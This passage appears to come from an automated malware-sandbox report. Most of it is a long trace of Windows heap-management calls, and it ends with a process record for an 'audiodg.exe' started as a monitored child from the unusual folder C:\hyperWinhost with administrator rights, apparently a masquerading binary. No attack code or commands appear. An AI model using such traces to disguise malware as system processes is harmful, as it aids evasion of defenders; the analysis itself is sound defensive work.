0x18 [0082.573] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d700 | out: hHeap=0x110000) returned 1 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0) returned 1 [0082.573] GetProcessHeap () returned 0x110000 [0082.573] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cce0) returned 0x20 [0082.574] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cce0 | out: hHeap=0x110000) returned 1 [0082.574] GetProcessHeap () returned 0x110000 [0082.574] GetProcessHeap () returned 0x110000 [0082.574] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4f0) returned 1 [0082.574] GetProcessHeap () returned 0x110000 [0082.574] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c4f0) returned 0xb0 [0082.575] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4f0 | out: hHeap=0x110000) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4d0) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c4d0) returned 0x18 [0082.575] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4d0 | out: hHeap=0x110000) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ccb0) returned 0x20 [0082.575] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ccb0 | out: hHeap=0x110000) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4b0) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.575] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c4b0) returned 0xe [0082.575] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c4b0 | out: hHeap=0x110000) returned 1 [0082.575] GetProcessHeap () returned 0x110000 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c490) returned 1 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c490) returned 0x18 [0082.576] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c490 | out: hHeap=0x110000) returned 1 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125ee0) returned 1 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125ee0) returned 0x20 [0082.576] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125ee0 | out: hHeap=0x110000) returned 1 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bdd0) returned 1 [0082.576] GetProcessHeap () returned 0x110000 [0082.576] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bdd0) returned 0x208 [0082.577] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bdd0 | out: hHeap=0x110000) returned 1 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc30) returned 1 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bc30) returned 0x18 [0082.577] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc30 | out: hHeap=0x110000) returned 1 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125df0) returned 1 [0082.577] GetProcessHeap () returned 0x110000 [0082.577] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125df0) returned 0x20 [0082.578] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125df0 | out: hHeap=0x110000) returned 1 [0082.578] GetProcessHeap () returned 0x110000 [0082.578] GetProcessHeap () returned 0x110000 [0082.578] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d480) returned 1 [0082.578] GetProcessHeap () returned 0x110000 [0082.578] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d480) returned 0x200 [0082.578] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d480 | out: hHeap=0x110000) returned 1 [0082.578] GetProcessHeap () returned 0x110000 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc70) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bc70) returned 0x18 [0082.579] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc70 | out: hHeap=0x110000) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125d60) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125d60) returned 0x20 [0082.579] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125d60 | out: hHeap=0x110000) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3e0) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c3e0) returned 0x14 [0082.579] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3e0 | out: hHeap=0x110000) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3c0) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c3c0) returned 0x18 [0082.579] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c3c0 | out: hHeap=0x110000) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] GetProcessHeap () returned 0x110000 [0082.579] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125ca0) returned 1 [0082.579] GetProcessHeap () returned 0x110000 [0082.580] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125ca0) returned 0x20 [0082.580] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125ca0 | out: hHeap=0x110000) returned 1 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c400) returned 1 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c400) returned 0x16 [0082.580] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c400 | out: hHeap=0x110000) returned 1 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c280) returned 1 [0082.580] GetProcessHeap () returned 0x110000 [0082.580] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c280) returned 0x18 [0082.580] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c280 | out: hHeap=0x110000) returned 1 [0082.580] GetProcessHeap () returned 0x110000 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c70) returned 1 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c70) returned 0x20 [0082.581] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c70 | out: hHeap=0x110000) returned 1 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbb0) returned 1 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bbb0) returned 0x2 [0082.581] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbb0 | out: hHeap=0x110000) returned 1 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125ac0) returned 1 [0082.581] GetProcessHeap () returned 0x110000 [0082.581] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125ac0) returned 0x20 [0082.582] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125ac0 | out: hHeap=0x110000) returned 1 [0082.582] GetProcessHeap () returned 0x110000 [0082.582] GetProcessHeap () returned 0x110000 [0082.582] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125af0) returned 1 [0082.582] GetProcessHeap () returned 0x110000 [0082.582] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125af0) returned 0x20 [0082.583] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125af0 | out: hHeap=0x110000) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b20) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b20) returned 0x20 [0082.583] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b20 | out: hHeap=0x110000) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b50) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b50) returned 0x20 [0082.583] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b50 | out: hHeap=0x110000) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40) returned 1 [0082.583] GetProcessHeap () returned 0x110000 [0082.583] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd40) returned 0x20 [0082.584] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd40 | out: hHeap=0x110000) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d800) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d800) returned 0xc [0082.584] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d800 | out: hHeap=0x110000) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cd70) returned 0x20 [0082.584] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cd70 | out: hHeap=0x110000) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x127c50) returned 1 [0082.584] GetProcessHeap () returned 0x110000 [0082.584] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x127c50) returned 0x30 [0082.585] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x127c50 | out: hHeap=0x110000) returned 1 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0) returned 1 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cda0) returned 0x20 [0082.585] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cda0 | out: hHeap=0x110000) returned 1 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x127c90) returned 1 [0082.585] GetProcessHeap () returned 0x110000 [0082.585] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x127c90) returned 0x30 [0082.586] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x127c90 | out: hHeap=0x110000) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf50) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf50) returned 0x20 [0082.586] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf50 | out: hHeap=0x110000) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d720) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d720) returned 0x16 [0082.586] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d720 | out: hHeap=0x110000) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf20) returned 1 [0082.586] GetProcessHeap () returned 0x110000 [0082.586] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf20) returned 0x20 [0082.587] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf20 | out: hHeap=0x110000) returned 1 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d740) returned 1 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d740) returned 0x16 [0082.587] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d740 | out: hHeap=0x110000) returned 1 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cef0) returned 1 [0082.587] GetProcessHeap () returned 0x110000 [0082.587] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cef0) returned 0x20 [0082.588] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cef0 | out: hHeap=0x110000) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x149e70) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x149e70) returned 0x82 [0082.588] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x149e70 | out: hHeap=0x110000) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cec0) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cec0) returned 0x20 [0082.588] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cec0 | out: hHeap=0x110000) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d780) returned 1 [0082.588] GetProcessHeap () returned 0x110000 [0082.588] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d780) returned 0xe [0082.589] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d780 | out: hHeap=0x110000) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce90) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce90) returned 0x20 [0082.589] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce90 | out: hHeap=0x110000) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7a0) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d7a0) returned 0xc [0082.589] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7a0 | out: hHeap=0x110000) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce60) returned 1 [0082.589] GetProcessHeap () returned 0x110000 [0082.589] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce60) returned 0x20 [0082.589] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce60 | out: hHeap=0x110000) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7c0) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d7c0) returned 0xe [0082.590] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7c0 | out: hHeap=0x110000) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce30) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce30) returned 0x20 [0082.590] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce30 | out: hHeap=0x110000) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7e0) returned 1 [0082.590] GetProcessHeap () returned 0x110000 [0082.590] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d7e0) returned 0x10 [0082.591] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d7e0 | out: hHeap=0x110000) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce00) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce00) returned 0x20 [0082.591] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce00 | out: hHeap=0x110000) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbd0) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bbd0) returned 0x18 [0082.591] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbd0 | out: hHeap=0x110000) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125b80) returned 1 [0082.591] GetProcessHeap () returned 0x110000 [0082.591] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125b80) returned 0x20 [0082.592] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125b80 | out: hHeap=0x110000) returned 1 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125bb0) returned 1 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125bb0) returned 0x20 [0082.592] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125bb0 | out: hHeap=0x110000) returned 1 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125be0) returned 1 [0082.592] GetProcessHeap () returned 0x110000 [0082.592] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125be0) returned 0x20 [0082.593] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125be0 | out: hHeap=0x110000) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c10) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c10) returned 0x20 [0082.593] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c10 | out: hHeap=0x110000) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbf0) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bbf0) returned 0x18 [0082.593] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bbf0 | out: hHeap=0x110000) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125c40) returned 1 [0082.593] GetProcessHeap () returned 0x110000 [0082.593] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125c40) returned 0x20 [0082.594] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125c40 | out: hHeap=0x110000) returned 1 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125cd0) returned 1 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125cd0) returned 0x20 [0082.594] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125cd0 | out: hHeap=0x110000) returned 1 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125d30) returned 1 [0082.594] GetProcessHeap () returned 0x110000 [0082.594] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125d30) returned 0x20 [0082.595] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125d30 | out: hHeap=0x110000) returned 1 [0082.595] GetProcessHeap () returned 0x110000 [0082.595] GetProcessHeap () returned 0x110000 [0082.595] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125d90) returned 1 [0082.595] GetProcessHeap () returned 0x110000 [0082.595] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125d90) returned 0x20 [0082.595] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125d90 | out: hHeap=0x110000) returned 1 [0082.595] GetProcessHeap () returned 0x110000 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125dc0) returned 1 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125dc0) returned 0x20 [0082.596] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125dc0 | out: hHeap=0x110000) returned 1 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc10) returned 1 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bc10) returned 0x18 [0082.596] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bc10 | out: hHeap=0x110000) returned 1 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x125d00) returned 1 [0082.596] GetProcessHeap () returned 0x110000 [0082.596] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x125d00) returned 0x20 [0082.597] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x125d00 | out: hHeap=0x110000) returned 1 [0082.597] GetProcessHeap () returned 0x110000 [0082.597] GetProcessHeap () returned 0x110000 [0082.597] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12bb90) returned 1 [0082.597] GetProcessHeap () returned 0x110000 [0082.597] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12bb90) returned 0x18 [0082.597] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12bb90 | out: hHeap=0x110000) returned 1 [0082.597] exit (_Code=0) Thread: id = 179 os_tid = 0x74c Process: id = "49" image_name = "audiodg.exe" filename = "c:\\hyperwinhost\\audiodg.exe" page_root = "0x3a523000" os_pid = "0xd24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\hyperWinhost\\audiodg.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4506 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4507 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4508 start_va = 0x100000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = 